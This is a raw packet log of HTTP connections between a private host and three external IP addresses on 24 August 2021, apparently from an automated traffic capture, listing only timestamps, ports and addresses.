Aug 24, 2021 14:01:50.886832952 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.886848927 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.886866093 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.886866093 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.886879921 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.886897087 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.886926889 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.896003008 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:51.242846012 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:51.504195929 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:51.504893064 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:51.508116007 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:51.530590057 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:51.843132973 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:51.863533974 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:51.863559961 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:51.863589048 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:51.863609076 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:51.863627911 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:51.863643885 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:51.863661051 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:51.863667011 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:51.863706112 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:51.863729954 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:51.863768101 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:51.863785982 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:51.863802910 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:51.863833904 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:51.863859892 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:51.884032965 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:51.884062052 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:51.884094000 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:51.884102106 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:51.884111881 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:51.884129047 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:51.884138107 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:51.884160042 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:51.884169102 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:51.884179115 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:51.884200096 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:51.884202003 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:51.884223938 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:51.884238005 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:51.884273052 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:51.884294987 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:51.884352922 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:51.884368896 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:51.884390116 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:51.884397030 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:51.884407997 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:51.884424925 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:51.884429932 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:51.884459019 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:51.884478092 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:51.884481907 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:51.884535074 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:51.884561062 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:51.884610891 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:51.884613037 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:51.884633064 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:51.884649038 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:51.884677887 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:51.884706020 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:51.905112028 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:51.905148983 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:51.905164957 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:51.905196905 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:51.905213118 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:51.905222893 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:51.905230045 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:51.905255079 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:51.905262947 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:51.905286074 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:51.905287981 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:51.905319929 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:51.905334949 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:51.905337095 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:51.905354023 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:51.905384064 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:51.905395031 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:51.905400991 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:51.905419111 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:51.905426979 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:51.905452967 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:51.905462980 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:51.905483961 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:51.905502081 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:51.905505896 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:51.905519009 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:51.905535936 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:51.905535936 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:51.905556917 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:51.905565977 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:51.905572891 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:51.905591011 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:51.905597925 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:51.905608892 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:51.905627012 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:51.905628920 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:51.905652046 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:51.905656099 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:51.905673027 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:51.905679941 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:51.905689955 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:51.905700922 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:51.905709028 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:51.905719042 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:51.905725956 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:51.905739069 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:51.905745029 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:51.905761003 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:51.905761003 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:51.905781984 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:51.905791998 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:51.905798912 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:51.905816078 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:51.905823946 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:51.905833960 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:51.905850887 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:51.905854940 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:51.905868053 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:51.905875921 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:51.905899048 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:51.905906916 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:51.905916929 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:51.905932903 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:51.905941010 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:51.905953884 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:51.905980110 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:51.906014919 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:51.926232100 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:51.926270008 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:51.926286936 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:51.926305056 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:51.926320076 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:51.926338911 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:51.926342010 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:51.926361084 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:51.926363945 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:51.926393032 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:51.926398039 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:51.926413059 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:51.926418066 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:51.926434994 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:51.926450014 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:51.926460981 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:51.926467896 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:51.926497936 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:51.926498890 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:51.926517010 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:51.926529884 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:51.926533937 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:51.926548004 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:51.926568031 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:51.926568031 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:51.926587105 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:51.926603079 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:51.926628113 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:51.926631927 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:51.926649094 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:51.926649094 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:51.926670074 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:51.926678896 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:51.926700115 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:51.926704884 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:51.926717997 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:51.926724911 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:51.926740885 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:51.926742077 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:51.926767111 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:51.926772118 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:51.926788092 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:51.926789045 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:51.926806927 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:51.926810026 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:51.926822901 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:51.926831007 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:51.926851988 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:51.926853895 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:51.926872015 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:51.926873922 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:51.926888943 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:51.926896095 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:51.926908970 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:51.926915884 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:51.926928043 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:51.926935911 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:51.926947117 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:51.926955938 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:51.926964045 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:51.926975965 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:51.926981926 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:51.927000046 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:51.927001953 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:51.927016973 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:51.927026987 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:51.927033901 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:51.927054882 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:51.927058935 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:51.927071095 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:51.927093029 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:51.927108049 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:52.296565056 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:52.317430973 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:52.317496061 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:52.317522049 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:52.317552090 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:52.317591906 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:52.317615032 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:52.317635059 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:52.317655087 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:52.317657948 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:52.317681074 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:52.317696095 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:52.317703962 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:52.317727089 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:52.317728996 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:52.317749023 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:52.317750931 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:52.317775011 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:52.317780018 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:52.317797899 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:52.317800999 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:52.317821980 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:52.317842007 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:52.317848921 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:52.317893028 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:52.317895889 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:52.317939997 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:52.317980051 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:52.317982912 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:52.318023920 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:52.318048954 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:52.318068981 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:52.318084002 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:52.318085909 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:52.318101883 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:52.318119049 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:52.318120956 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:52.318135977 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:52.318142891 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:52.318156958 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:52.318161011 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:52.318173885 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:52.318185091 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:52.318192005 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:52.318205118 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:52.318211079 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:52.318224907 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:52.318231106 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:52.318248034 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:52.318259954 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:52.318264008 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:52.318279982 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:52.318289042 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:52.318300009 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:52.318317890 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:52.318320990 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:52.318334103 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:52.318344116 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:52.318351984 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:52.318370104 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:52.318375111 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:52.318386078 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:52.318407059 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:52.318413019 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:52.318428040 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:52.318430901 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:52.318443060 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:52.318463087 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:52.318464041 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:52.318481922 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:52.318485022 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:52.318499088 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:52.318512917 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:52.318515062 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:52.318532944 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:52.318545103 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:52.318548918 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:52.318576097 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:52.318600893 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:52.339315891 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:52.339340925 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:52.339363098 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:52.339389086 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:52.339415073 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:52.339435101 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:52.339449883 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:52.339453936 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:52.339473963 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:52.339493990 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:52.339512110 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:52.339529037 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:52.339530945 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:52.339548111 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:52.339569092 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:52.339570045 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:52.339593887 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:52.339611053 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:52.339629889 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:52.339648008 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:52.339664936 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:52.339673996 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:52.339706898 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:02:02.755017042 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:02.777342081 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:02.777646065 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:02.777674913 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:02.778439045 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:02.800512075 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:02.800544024 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:02.825799942 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:02.835866928 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:02.835941076 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:02.858108044 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:02.909996033 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:02.910036087 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:02.910060883 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:02.910085917 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:02.910110950 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:02.910135031 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:02.910161018 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:02.910185099 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:02.910202026 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:02.910208941 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:02.910235882 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:02.910269976 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:02.910276890 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:02.910280943 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:02.910286903 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:02.932482004 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:02.932569981 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:02.932631969 CEST	80	49732	212.224.105.79	192.168.2.3
